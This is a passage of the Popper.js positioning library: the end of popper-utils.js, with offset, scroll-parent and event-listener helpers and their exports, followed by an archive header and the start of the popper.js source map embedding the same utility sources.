 * @param {String} placement - one of the valid placement options
 * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper
 */
function getPopperOffsets(popper, referenceOffsets, placement) {
  placement = placement.split('-')[0];

  // Get popper node sizes
  const popperRect = getOuterSizes(popper);

  // Add position, width and height to our offsets object
  const popperOffsets = {
    width: popperRect.width,
    height: popperRect.height
  };

  // depending by the popper placement we have to compute its offsets slightly differently
  const isHoriz = ['right', 'left'].indexOf(placement) !== -1;
  const mainSide = isHoriz ? 'top' : 'left';
  const secondarySide = isHoriz ? 'left' : 'top';
  const measurement = isHoriz ? 'height' : 'width';
  const secondaryMeasurement = !isHoriz ? 'height' : 'width';

  popperOffsets[mainSide] = referenceOffsets[mainSide] + referenceOffsets[measurement] / 2 - popperRect[measurement] / 2;
  if (placement === secondarySide) {
    popperOffsets[secondarySide] = referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];
  } else {
    popperOffsets[secondarySide] = referenceOffsets[getOppositePlacement(secondarySide)];
  }

  return popperOffsets;
}

/**
 * Get offsets to the reference element
 * @method
 * @memberof Popper.Utils
 * @param {Object} state
 * @param {Element} popper - the popper element
 * @param {Element} reference - the reference element (the popper will be relative to this)
 * @param {Element} fixedPosition - is in fixed position mode
 * @returns {Object} An object containing the offsets which will be applied to the popper
 */
function getReferenceOffsets(state, popper, reference, fixedPosition = null) {
  const commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);
  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);
}

/**
 * Get the prefixed supported property name
 * @method
 * @memberof Popper.Utils
 * @argument {String} property (camelCase)
 * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)
 */
function getSupportedPropertyName(property) {
  const prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];
  const upperProp = property.charAt(0).toUpperCase() + property.slice(1);

  for (let i = 0; i < prefixes.length; i++) {
    const prefix = prefixes[i];
    const toCheck = prefix ? `${prefix}${upperProp}` : property;
    if (typeof document.body.style[toCheck] !== 'undefined') {
      return toCheck;
    }
  }
  return null;
}

/**
 * Check if the given variable is a function
 * @method
 * @memberof Popper.Utils
 * @argument {Any} functionToCheck - variable to check
 * @returns {Boolean} answer to: is a function?
 */
function isFunction(functionToCheck) {
  const getType = {};
  return functionToCheck && getType.toString.call(functionToCheck) === '[object Function]';
}

/**
 * Helper used to know if the given modifier is enabled.
 * @method
 * @memberof Popper.Utils
 * @returns {Boolean}
 */
function isModifierEnabled(modifiers, modifierName) {
  return modifiers.some(({ name, enabled }) => enabled && name === modifierName);
}

/**
 * Helper used to know if the given modifier depends from another one.<br />
 * It checks if the needed modifier is listed and enabled.
 * @method
 * @memberof Popper.Utils
 * @param {Array} modifiers - list of modifiers
 * @param {String} requestingName - name of requesting modifier
 * @param {String} requestedName - name of requested modifier
 * @returns {Boolean}
 */
function isModifierRequired(modifiers, requestingName, requestedName) {
  const requesting = find(modifiers, ({ name }) => name === requestingName);

  const isRequired = !!requesting && modifiers.some(modifier => {
    return modifier.name === requestedName && modifier.enabled && modifier.order < requesting.order;
  });

  if (!isRequired) {
    const requesting = `\`${requestingName}\``;
    const requested = `\`${requestedName}\``;
    console.warn(`${requested} modifier is required by ${requesting} modifier in order to work, be sure to include it before ${requesting}!`);
  }
  return isRequired;
}

/**
 * Tells if a given input is a number
 * @method
 * @memberof Popper.Utils
 * @param {*} input to check
 * @return {Boolean}
 */
function isNumeric(n) {
  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);
}

/**
 * Get the window associated with the element
 * @argument {Element} element
 * @returns {Window}
 */
function getWindow(element) {
  const ownerDocument = element.ownerDocument;
  return ownerDocument ? ownerDocument.defaultView : window;
}

/**
 * Remove event listeners used to update the popper position
 * @method
 * @memberof Popper.Utils
 * @private
 */
function removeEventListeners(reference, state) {
  // Remove resize event listener on window
  getWindow(reference).removeEventListener('resize', state.updateBound);

  // Remove scroll event listener on scroll parents
  state.scrollParents.forEach(target => {
    target.removeEventListener('scroll', state.updateBound);
  });

  // Reset state
  state.updateBound = null;
  state.scrollParents = [];
  state.scrollElement = null;
  state.eventsEnabled = false;
  return state;
}

/**
 * Loop trough the list of modifiers and run them in order,
 * each of them will then edit the data object.
 * @method
 * @memberof Popper.Utils
 * @param {dataObject} data
 * @param {Array} modifiers
 * @param {String} ends - Optional modifier name used as stopper
 * @returns {dataObject}
 */
function runModifiers(modifiers, data, ends) {
  const modifiersToRun = ends === undefined ? modifiers : modifiers.slice(0, findIndex(modifiers, 'name', ends));

  modifiersToRun.forEach(modifier => {
    if (modifier['function']) {
      // eslint-disable-line dot-notation
      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');
    }
    const fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation
    if (modifier.enabled && isFunction(fn)) {
      // Add properties to offsets to make them a complete clientRect object
      // we do this before each modifier to make sure the previous one doesn't
      // mess with these values
      data.offsets.popper = getClientRect(data.offsets.popper);
      data.offsets.reference = getClientRect(data.offsets.reference);

      data = fn(data, modifier);
    }
  });

  return data;
}

/**
 * Set the attributes to the given popper
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element - Element to apply the attributes to
 * @argument {Object} styles
 * Object with a list of properties and values which will be applied to the element
 */
function setAttributes(element, attributes) {
  Object.keys(attributes).forEach(function (prop) {
    const value = attributes[prop];
    if (value !== false) {
      element.setAttribute(prop, attributes[prop]);
    } else {
      element.removeAttribute(prop);
    }
  });
}

/**
 * Set the style to the given popper
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element - Element to apply the style to
 * @argument {Object} styles
 * Object with a list of properties and values which will be applied to the element
 */
function setStyles(element, styles) {
  Object.keys(styles).forEach(prop => {
    let unit = '';
    // add unit if the value is numeric and is one of the following
    if (['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !== -1 && isNumeric(styles[prop])) {
      unit = 'px';
    }
    element.style[prop] = styles[prop] + unit;
  });
}

function attachToScrollParents(scrollParent, event, callback, scrollParents) {
  const isBody = scrollParent.nodeName === 'BODY';
  const target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;
  target.addEventListener(event, callback, { passive: true });

  if (!isBody) {
    attachToScrollParents(getScrollParent(target.parentNode), event, callback, scrollParents);
  }
  scrollParents.push(target);
}

/**
 * Setup needed event listeners used to update the popper position
 * @method
 * @memberof Popper.Utils
 * @private
 */
function setupEventListeners(reference, options, state, updateBound) {
  // Resize event listener on window
  state.updateBound = updateBound;
  getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });

  // Scroll event listener on scroll parents
  const scrollElement = getScrollParent(reference);
  attachToScrollParents(scrollElement, 'scroll', state.updateBound, state.scrollParents);
  state.scrollElement = scrollElement;
  state.eventsEnabled = true;

  return state;
}

// This is here just for backward compatibility with versions lower than v1.10.3
// you should import the utilities using named exports, if you want them all use:
// ```
// import * as PopperUtils from 'popper-utils';
// ```
// The default export will be removed in the next major version.
var index = {
  computeAutoPlacement,
  debounce,
  findIndex,
  getBordersSize,
  getBoundaries,
  getBoundingClientRect,
  getClientRect,
  getOffsetParent,
  getOffsetRect,
  getOffsetRectRelativeToArbitraryNode,
  getOuterSizes,
  getParentNode,
  getPopperOffsets,
  getReferenceOffsets,
  getScroll,
  getScrollParent,
  getStyleComputedProperty,
  getSupportedPropertyName,
  getWindowSizes,
  isFixed,
  isFunction,
  isModifierEnabled,
  isModifierRequired,
  isNumeric,
  removeEventListeners,
  runModifiers,
  setAttributes,
  setStyles,
  setupEventListeners
};

export { computeAutoPlacement, debounce, findIndex, getBordersSize, getBoundaries, getBoundingClientRect, getClientRect, getOffsetParent, getOffsetRect, getOffsetRectRelativeToArbitraryNode, getOuterSizes, getParentNode, getPopperOffsets, getReferenceOffsets, getScroll, getScrollParent, getStyleComputedProperty, getSupportedPropertyName, getWindowSizes, isFixed, isFunction, isModifierEnabled, isModifierRequired, isNumeric, removeEventListeners, runModifiers, setAttributes, setStyles, setupEventListeners };
export default index;
//# sourceMappingURL=popper-utils.js.map
popper.js.map000064400000407203151677356750007217 0ustar00{"version":3,"file":"popper.js","sources":["../src/utils/isBrowser.js","../src/utils/debounce.js","../src/utils/isFunction.js","../src/utils/getStyleComputedProperty.js","../src/utils/getParentNode.js","../src/utils/getScrollParent.js","../src/utils/isIE.js","../src/utils/getOffsetParent.js","../src/utils/isOffsetContainer.js","../src/utils/getRoot.js","../src/utils/findCommonOffsetParent.js","../src/utils/getScroll.js","../src/utils/includeScroll.js","../src/utils/getBordersSize.js","../src/utils/getWindowSizes.js","../src/utils/getClientRect.js","../src/utils/getBoundingClientRect.js","../src/utils/getOffsetRectRelativeToArbitraryNode.js","../src/utils/getViewportOffsetRectRelativeToArtbitraryNode.js","../src/utils/isFixed.js","../src/utils/getFixedPositionOffsetParent.js","../src/utils/getBoundaries.js","../src/utils/computeAutoPlacement.js","../src/utils/getReferenceOffsets.js","../src/utils/getOuterSizes.js","../src/utils/getOppositePlacement.js","../src/utils/getPopperOffsets.js","../src/utils/find.js","../src/utils/findIndex.js","../src/utils/runModifiers.js","../src/methods/update.js","../src/utils/isModifierEnabled.js","../src/utils/getSupportedPropertyName.js","../src/methods/destroy.js","../src/utils/getWindow.js","../src/utils/setupEventListeners.js","../src/methods/enableEventListeners.js","../src/utils/removeEventListeners.js","../src/methods/disableEventListeners.js","../src/utils/isNumeric.js","../src/utils/setStyles.js","../src/utils/setAttributes.js","../src/modifiers/applyStyle.js","../src/modifiers/computeStyle.js","../src/utils/isModifierRequired.js","../src/modifiers/arrow.js","../src/utils/getOppositeVariation.js","../src/methods/placements.js","../src/utils/clockwise.js","../src/modifiers/flip.js","../src/modifiers/keepTogether.js","../src/modifiers/offset.js","../src/modifiers/preventOverflow.js","../src/modifiers/shift.js","../src/modifiers/hide.js","../src/modifiers/inner.js","../src/modifiers/index.js","../src/methods/defaults.js","../src/index.js"],"sourcesContent":["export default typeof window !== 'undefined' && typeof document !== 'undefined';\n","import isBrowser from './isBrowser';\n\nconst longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];\nlet timeoutDuration = 0;\nfor (let i = 0; i < longerTimeoutBrowsers.length; i += 1) {\n  if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {\n    timeoutDuration = 1;\n    break;\n  }\n}\n\nexport function microtaskDebounce(fn) {\n  let called = false\n  return () => {\n    if (called) {\n      return\n    }\n    called = true\n    window.Promise.resolve().then(() => {\n      called = false\n      fn()\n    })\n  }\n}\n\nexport function taskDebounce(fn) {\n  let scheduled = false;\n  return () => {\n    if (!scheduled) {\n      scheduled = true;\n      setTimeout(() => {\n        scheduled = false;\n        fn();\n      }, timeoutDuration);\n    }\n  };\n}\n\nconst supportsMicroTasks = isBrowser && window.Promise\n\n\n/**\n* Create a debounced version of a method, that's asynchronously deferred\n* but called in the minimum time possible.\n*\n* @method\n* @memberof Popper.Utils\n* @argument {Function} fn\n* @returns {Function}\n*/\nexport default (supportsMicroTasks\n  ? microtaskDebounce\n  : taskDebounce);\n","/**\n * Check if the given variable is a function\n * @method\n * @memberof Popper.Utils\n * @argument {Any} functionToCheck - variable to check\n * @returns {Boolean} answer to: is a function?\n */\nexport default function isFunction(functionToCheck) {\n  const getType = {};\n  return (\n    functionToCheck &&\n    getType.toString.call(functionToCheck) === '[object Function]'\n  );\n}\n","/**\n * Get CSS computed property of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Eement} element\n * @argument {String} property\n */\nexport default function getStyleComputedProperty(element, property) {\n  if (element.nodeType !== 1) {\n    return [];\n  }\n  // NOTE: 1 DOM access here\n  const window = element.ownerDocument.defaultView;\n  const css = window.getComputedStyle(element, null);\n  return property ? css[property] : css;\n}\n","/**\n * Returns the parentNode or the host of the element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} parent\n */\nexport default function getParentNode(element) {\n  if (element.nodeName === 'HTML') {\n    return element;\n  }\n  return element.parentNode || element.host;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Returns the scrolling parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} scroll parent\n */\nexport default function getScrollParent(element) {\n  // Return body, `getScroll` will take care to get the correct `scrollTop` from it\n  if (!element) {\n    return document.body\n  }\n\n  switch (element.nodeName) {\n    case 'HTML':\n    case 'BODY':\n      return element.ownerDocument.body\n    case '#document':\n      return element.body\n  }\n\n  // Firefox want us to check `-x` and `-y` variations as well\n  const { overflow, overflowX, overflowY } = getStyleComputedProperty(element);\n  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {\n    return element;\n  }\n\n  return getScrollParent(getParentNode(element));\n}\n","import isBrowser from './isBrowser';\n\nconst isIE11 = isBrowser && !!(window.MSInputMethodContext && document.documentMode);\nconst isIE10 = isBrowser && /MSIE 10/.test(navigator.userAgent);\n\n/**\n * Determines if the browser is Internet Explorer\n * @method\n * @memberof Popper.Utils\n * @param {Number} version to check\n * @returns {Boolean} isIE\n */\nexport default function isIE(version) {\n  if (version === 11) {\n    return isIE11;\n  }\n  if (version === 10) {\n    return isIE10;\n  }\n  return isIE11 || isIE10;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Returns the offset parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} offset parent\n */\nexport default function getOffsetParent(element) {\n  if (!element) {\n    return document.documentElement;\n  }\n\n  const noOffsetParent = isIE(10) ? document.body : null;\n\n  // NOTE: 1 DOM access here\n  let offsetParent = element.offsetParent || null;\n  // Skip hidden elements which don't have an offsetParent\n  while (offsetParent === noOffsetParent && element.nextElementSibling) {\n    offsetParent = (element = element.nextElementSibling).offsetParent;\n  }\n\n  const nodeName = offsetParent && offsetParent.nodeName;\n\n  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {\n    return element ? element.ownerDocument.documentElement : document.documentElement;\n  }\n\n  // .offsetParent will return the closest TH, TD or TABLE in case\n  // no offsetParent is present, I hate this job...\n  if (\n    ['TH', 'TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 &&\n    getStyleComputedProperty(offsetParent, 'position') === 'static'\n  ) {\n    return getOffsetParent(offsetParent);\n  }\n\n  return offsetParent;\n}\n","import getOffsetParent from './getOffsetParent';\n\nexport default function isOffsetContainer(element) {\n  const { nodeName } = element;\n  if (nodeName === 'BODY') {\n    return false;\n  }\n  return (\n    nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element\n  );\n}\n","/**\n * Finds the root node (document, shadowDOM root) of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} node\n * @returns {Element} root node\n */\nexport default function getRoot(node) {\n  if (node.parentNode !== null) {\n    return getRoot(node.parentNode);\n  }\n\n  return node;\n}\n","import isOffsetContainer from './isOffsetContainer';\nimport getRoot from './getRoot';\nimport getOffsetParent from './getOffsetParent';\n\n/**\n * Finds the offset parent common to the two provided nodes\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element1\n * @argument {Element} element2\n * @returns {Element} common offset parent\n */\nexport default function findCommonOffsetParent(element1, element2) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {\n    return document.documentElement;\n  }\n\n  // Here we make sure to give as \"start\" the element that comes first in the DOM\n  const order =\n    element1.compareDocumentPosition(element2) &\n    Node.DOCUMENT_POSITION_FOLLOWING;\n  const start = order ? element1 : element2;\n  const end = order ? element2 : element1;\n\n  // Get common ancestor container\n  const range = document.createRange();\n  range.setStart(start, 0);\n  range.setEnd(end, 0);\n  const { commonAncestorContainer } = range;\n\n  // Both nodes are inside #document\n  if (\n    (element1 !== commonAncestorContainer &&\n      element2 !== commonAncestorContainer) ||\n    start.contains(end)\n  ) {\n    if (isOffsetContainer(commonAncestorContainer)) {\n      return commonAncestorContainer;\n    }\n\n    return getOffsetParent(commonAncestorContainer);\n  }\n\n  // one of the nodes is inside shadowDOM, find which one\n  const element1root = getRoot(element1);\n  if (element1root.host) {\n    return findCommonOffsetParent(element1root.host, element2);\n  } else {\n    return findCommonOffsetParent(element1, getRoot(element2).host);\n  }\n}\n","/**\n * Gets the scroll value of the given element in the given side (top and left)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {String} side `top` or `left`\n * @returns {number} amount of scrolled pixels\n */\nexport default function getScroll(element, side = 'top') {\n  const upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';\n  const nodeName = element.nodeName;\n\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    const html = element.ownerDocument.documentElement;\n    const scrollingElement = element.ownerDocument.scrollingElement || html;\n    return scrollingElement[upperSide];\n  }\n\n  return element[upperSide];\n}\n","import getScroll from './getScroll';\n\n/*\n * Sum or subtract the element scroll values (left and top) from a given rect object\n * @method\n * @memberof Popper.Utils\n * @param {Object} rect - Rect object you want to change\n * @param {HTMLElement} element - The element from the function reads the scroll values\n * @param {Boolean} subtract - set to true if you want to subtract the scroll values\n * @return {Object} rect - The modifier rect object\n */\nexport default function includeScroll(rect, element, subtract = false) {\n  const scrollTop = getScroll(element, 'top');\n  const scrollLeft = getScroll(element, 'left');\n  const modifier = subtract ? -1 : 1;\n  rect.top += scrollTop * modifier;\n  rect.bottom += scrollTop * modifier;\n  rect.left += scrollLeft * modifier;\n  rect.right += scrollLeft * modifier;\n  return rect;\n}\n","/*\n * Helper to detect borders of a given element\n * @method\n * @memberof Popper.Utils\n * @param {CSSStyleDeclaration} styles\n * Result of `getStyleComputedProperty` on the given element\n * @param {String} axis - `x` or `y`\n * @return {number} borders - The borders size of the given axis\n */\n\nexport default function getBordersSize(styles, axis) {\n  const sideA = axis === 'x' ? 'Left' : 'Top';\n  const sideB = sideA === 'Left' ? 'Right' : 'Bottom';\n\n  return (\n    parseFloat(styles[`border${sideA}Width`], 10) +\n    parseFloat(styles[`border${sideB}Width`], 10)\n  );\n}\n","import isIE from './isIE';\n\nfunction getSize(axis, body, html, computedStyle) {\n  return Math.max(\n    body[`offset${axis}`],\n    body[`scroll${axis}`],\n    html[`client${axis}`],\n    html[`offset${axis}`],\n    html[`scroll${axis}`],\n    isIE(10)\n      ? (parseInt(html[`offset${axis}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Top' : 'Left'}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Bottom' : 'Right'}`]))\n    : 0 \n  );\n}\n\nexport default function getWindowSizes(document) {\n  const body = document.body;\n  const html = document.documentElement;\n  const computedStyle = isIE(10) && getComputedStyle(html);\n\n  return {\n    height: getSize('Height', body, html, computedStyle),\n    width: getSize('Width', body, html, computedStyle),\n  };\n}\n","/**\n * Given element offsets, generate an output similar to getBoundingClientRect\n * @method\n * @memberof Popper.Utils\n * @argument {Object} offsets\n * @returns {Object} ClientRect like output\n */\nexport default function getClientRect(offsets) {\n  return {\n    ...offsets,\n    right: offsets.left + offsets.width,\n    bottom: offsets.top + offsets.height,\n  };\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getBordersSize from './getBordersSize';\nimport getWindowSizes from './getWindowSizes';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\nimport isIE from './isIE';\n\n/**\n * Get bounding client rect of given element\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} element\n * @return {Object} client rect\n */\nexport default function getBoundingClientRect(element) {\n  let rect = {};\n\n  // IE10 10 FIX: Please, don't ask, the element isn't\n  // considered in DOM in some circumstances...\n  // This isn't reproducible in IE10 compatibility mode of IE11\n  try {\n    if (isIE(10)) {\n      rect = element.getBoundingClientRect();\n      const scrollTop = getScroll(element, 'top');\n      const scrollLeft = getScroll(element, 'left');\n      rect.top += scrollTop;\n      rect.left += scrollLeft;\n      rect.bottom += scrollTop;\n      rect.right += scrollLeft;\n    }\n    else {\n      rect = element.getBoundingClientRect();\n    }\n  }\n  catch(e){}\n\n  const result = {\n    left: rect.left,\n    top: rect.top,\n    width: rect.right - rect.left,\n    height: rect.bottom - rect.top,\n  };\n\n  // subtract scrollbar size from sizes\n  const sizes = element.nodeName === 'HTML' ? getWindowSizes(element.ownerDocument) : {};\n  const width =\n    sizes.width || element.clientWidth || result.right - result.left;\n  const height =\n    sizes.height || element.clientHeight || result.bottom - result.top;\n\n  let horizScrollbar = element.offsetWidth - width;\n  let vertScrollbar = element.offsetHeight - height;\n\n  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`\n  // we make this check conditional for performance reasons\n  if (horizScrollbar || vertScrollbar) {\n    const styles = getStyleComputedProperty(element);\n    horizScrollbar -= getBordersSize(styles, 'x');\n    vertScrollbar -= getBordersSize(styles, 'y');\n\n    result.width -= horizScrollbar;\n    result.height -= vertScrollbar;\n  }\n\n  return getClientRect(result);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport includeScroll from './includeScroll';\nimport getScrollParent from './getScrollParent';\nimport getBoundingClientRect from './getBoundingClientRect';\nimport runIsIE from './isIE';\nimport getClientRect from './getClientRect';\n\nexport default function getOffsetRectRelativeToArbitraryNode(children, parent, fixedPosition = false) {\n  const isIE10 = runIsIE(10);\n  const isHTML = parent.nodeName === 'HTML';\n  const childrenRect = getBoundingClientRect(children);\n  const parentRect = getBoundingClientRect(parent);\n  const scrollParent = getScrollParent(children);\n\n  const styles = getStyleComputedProperty(parent);\n  const borderTopWidth = parseFloat(styles.borderTopWidth, 10);\n  const borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);\n\n  // In cases where the parent is fixed, we must ignore negative scroll in offset calc\n  if(fixedPosition && isHTML) {\n    parentRect.top = Math.max(parentRect.top, 0);\n    parentRect.left = Math.max(parentRect.left, 0);\n  }\n  let offsets = getClientRect({\n    top: childrenRect.top - parentRect.top - borderTopWidth,\n    left: childrenRect.left - parentRect.left - borderLeftWidth,\n    width: childrenRect.width,\n    height: childrenRect.height,\n  });\n  offsets.marginTop = 0;\n  offsets.marginLeft = 0;\n\n  // Subtract margins of documentElement in case it's being used as parent\n  // we do this only on HTML because it's the only element that behaves\n  // differently when margins are applied to it. The margins are included in\n  // the box of the documentElement, in the other cases not.\n  if (!isIE10 && isHTML) {\n    const marginTop = parseFloat(styles.marginTop, 10);\n    const marginLeft = parseFloat(styles.marginLeft, 10);\n\n    offsets.top -= borderTopWidth - marginTop;\n    offsets.bottom -= borderTopWidth - marginTop;\n    offsets.left -= borderLeftWidth - marginLeft;\n    offsets.right -= borderLeftWidth - marginLeft;\n\n    // Attach marginTop and marginLeft because in some circumstances we may need them\n    offsets.marginTop = marginTop;\n    offsets.marginLeft = marginLeft;\n  }\n\n  if (\n    isIE10 && !fixedPosition\n      ? parent.contains(scrollParent)\n      : parent === scrollParent && scrollParent.nodeName !== 'BODY'\n  ) {\n    offsets = includeScroll(offsets, parent);\n  }\n\n  return offsets;\n}\n","import getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\n\nexport default function getViewportOffsetRectRelativeToArtbitraryNode(element, excludeScroll = false) {\n  const html = element.ownerDocument.documentElement;\n  const relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);\n  const width = Math.max(html.clientWidth, window.innerWidth || 0);\n  const height = Math.max(html.clientHeight, window.innerHeight || 0);\n\n  const scrollTop = !excludeScroll ? getScroll(html) : 0;\n  const scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;\n\n  const offset = {\n    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,\n    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,\n    width,\n    height,\n  };\n\n  return getClientRect(offset);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Check if the given element is fixed or is inside a fixed parent\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {Element} customContainer\n * @returns {Boolean} answer to \"isFixed?\"\n */\nexport default function isFixed(element) {\n  const nodeName = element.nodeName;\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    return false;\n  }\n  if (getStyleComputedProperty(element, 'position') === 'fixed') {\n    return true;\n  }\n  return isFixed(getParentNode(element));\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Finds the first parent of an element that has a transformed property defined\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} first transformed parent or documentElement\n */\n\nexport default function getFixedPositionOffsetParent(element) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n   if (!element || !element.parentElement || isIE()) {\n    return document.documentElement;\n  }\n  let el = element.parentElement;\n  while (el && getStyleComputedProperty(el, 'transform') === 'none') {\n    el = el.parentElement;\n  }\n  return el || document.documentElement;\n\n}\n","import getScrollParent from './getScrollParent';\nimport getParentNode from './getParentNode';\nimport findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getViewportOffsetRectRelativeToArtbitraryNode from './getViewportOffsetRectRelativeToArtbitraryNode';\nimport getWindowSizes from './getWindowSizes';\nimport isFixed from './isFixed';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Computed the boundaries limits and return them\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} popper\n * @param {HTMLElement} reference\n * @param {number} padding\n * @param {HTMLElement} boundariesElement - Element used to define the boundaries\n * @param {Boolean} fixedPosition - Is in fixed position mode\n * @returns {Object} Coordinates of the boundaries\n */\nexport default function getBoundaries(\n  popper,\n  reference,\n  padding,\n  boundariesElement,\n  fixedPosition = false\n) {\n  // NOTE: 1 DOM access here\n\n  let boundaries = { top: 0, left: 0 };\n  const offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n\n  // Handle viewport case\n  if (boundariesElement === 'viewport' ) {\n    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);\n  }\n\n  else {\n    // Handle other cases based on DOM element used as boundaries\n    let boundariesNode;\n    if (boundariesElement === 'scrollParent') {\n      boundariesNode = getScrollParent(getParentNode(reference));\n      if (boundariesNode.nodeName === 'BODY') {\n        boundariesNode = popper.ownerDocument.documentElement;\n      }\n    } else if (boundariesElement === 'window') {\n      boundariesNode = popper.ownerDocument.documentElement;\n    } else {\n      boundariesNode = boundariesElement;\n    }\n\n    const offsets = getOffsetRectRelativeToArbitraryNode(\n      boundariesNode,\n      offsetParent,\n      fixedPosition\n    );\n\n    // In case of HTML, we need a different computation\n    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {\n      const { height, width } = getWindowSizes(popper.ownerDocument);\n      boundaries.top += offsets.top - offsets.marginTop;\n      boundaries.bottom = height + offsets.top;\n      boundaries.left += offsets.left - offsets.marginLeft;\n      boundaries.right = width + offsets.left;\n    } else {\n      // for all the other DOM elements, this one is good\n      boundaries = offsets;\n    }\n  }\n\n  // Add paddings\n  padding = padding || 0;\n  const isPaddingNumber = typeof padding === 'number';\n  boundaries.left += isPaddingNumber ? padding : padding.left || 0; \n  boundaries.top += isPaddingNumber ? padding : padding.top || 0; \n  boundaries.right -= isPaddingNumber ? padding : padding.right || 0; \n  boundaries.bottom -= isPaddingNumber ? padding : padding.bottom || 0; \n\n  return boundaries;\n}\n","import getBoundaries from '../utils/getBoundaries';\n\nfunction getArea({ width, height }) {\n  return width * height;\n}\n\n/**\n * Utility used to transform the `auto` placement to the placement with more\n * available space.\n * @method\n * @memberof Popper.Utils\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function computeAutoPlacement(\n  placement,\n  refRect,\n  popper,\n  reference,\n  boundariesElement,\n  padding = 0\n) {\n  if (placement.indexOf('auto') === -1) {\n    return placement;\n  }\n\n  const boundaries = getBoundaries(\n    popper,\n    reference,\n    padding,\n    boundariesElement\n  );\n\n  const rects = {\n    top: {\n      width: boundaries.width,\n      height: refRect.top - boundaries.top,\n    },\n    right: {\n      width: boundaries.right - refRect.right,\n      height: boundaries.height,\n    },\n    bottom: {\n      width: boundaries.width,\n      height: boundaries.bottom - refRect.bottom,\n    },\n    left: {\n      width: refRect.left - boundaries.left,\n      height: boundaries.height,\n    },\n  };\n\n  const sortedAreas = Object.keys(rects)\n    .map(key => ({\n      key,\n      ...rects[key],\n      area: getArea(rects[key]),\n    }))\n    .sort((a, b) => b.area - a.area);\n\n  const filteredAreas = sortedAreas.filter(\n    ({ width, height }) =>\n      width >= popper.clientWidth && height >= popper.clientHeight\n  );\n\n  const computedPlacement = filteredAreas.length > 0\n    ? filteredAreas[0].key\n    : sortedAreas[0].key;\n\n  const variation = placement.split('-')[1];\n\n  return computedPlacement + (variation ? `-${variation}` : '');\n}\n","import findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Get offsets to the reference element\n * @method\n * @memberof Popper.Utils\n * @param {Object} state\n * @param {Element} popper - the popper element\n * @param {Element} reference - the reference element (the popper will be relative to this)\n * @param {Element} fixedPosition - is in fixed position mode\n * @returns {Object} An object containing the offsets which will be applied to the popper\n */\nexport default function getReferenceOffsets(state, popper, reference, fixedPosition = null) {\n  const commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, 